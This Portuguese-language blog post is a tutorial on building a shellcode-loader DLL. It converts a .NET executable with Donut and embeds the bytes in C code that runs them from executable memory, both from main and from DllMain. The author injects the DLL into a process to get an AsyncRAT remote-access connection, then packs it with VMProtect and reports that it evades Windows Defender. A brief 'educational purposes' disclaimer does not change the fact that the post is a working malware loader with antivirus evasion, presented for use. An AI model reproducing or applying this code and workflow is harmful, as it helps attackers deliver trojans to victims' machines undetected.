Creating DLL LOADER


Posted Apr 22, 2024. 2 min read


Podemos transformar um executável em uma DLL?

A resposta é sim, podemos fazer isso, e não é muito difícil, Para isso, podemos usar um projeto que transforma nosso executável .NET em um binário. O nome do projeto é Donut. sugiro olhar tudo que esse projeto faz, porque ele faz muito mais do que apenas converter o executável em binário.


⚠️ As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.

Donut


Não precisamos nos preocupar muito com os argumentos por agora. Vamos primeiro converter o executável para binário.


Donut


Vamos agora copiar os bytes desse binário para poder colocá-los em nosso código. Podemos copiar o binário usando o hxd.


hxd


O código que vamos utilizar vai ser esse:


#include <Windows.h>

unsigned char rawData[0] = { 0x00, 0x00, 0x00, 0x00 };

int main() {
    LPVOID exec_mem = VirtualAlloc(0, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, rawData, sizeof(rawData));
    ((void(*)())exec_mem)();
    VirtualFree(exec_mem, sizeof(rawData), MEM_RELEASE);
    return 0;
}

#ifdef _WINDLL
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) {
    DisableThreadLibraryCalls(hInstance);
    switch (dwReason) {
        case DLL_PROCESS_ATTACH: {
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
            break;
        }
    }
    return TRUE;
}
#endif

Podemos testar para ver se isso está funcionando. Para isso, podemos usar o Process-Hacker apenas para injetar nossa Dll em um processo:


ProcessHacker


Após ter injetado a DLL, vamos ter recebido uma conexão com o AsyncRat:


Injetado


Bom, que tal verificar se este simples código tem a capacidade de contornar o Windows Defender pelo menos:


Defender


Como podemos ver, ele detecta o arquivo facilmente. Como não é meu intuito aprofundar-me sobre a evasão de antivírus neste post, podemos apenas utilizar um software para proteger nossa DLL e verificar se conseguimos contornar o Windows Defender após proteger nossa DLL.
Para isso, estarei utilizando o VMProtect Professional:


VMProtect


Agora vamos testar nossa Dll novamente e ver se contornamos o Windows Defender:


Defender


Como podemos ver, contornamos facilmente o Windows Defender!
Pode ser uma maneira simples de fazer isso, mas, de qualquer forma, funciona e é isso que importa.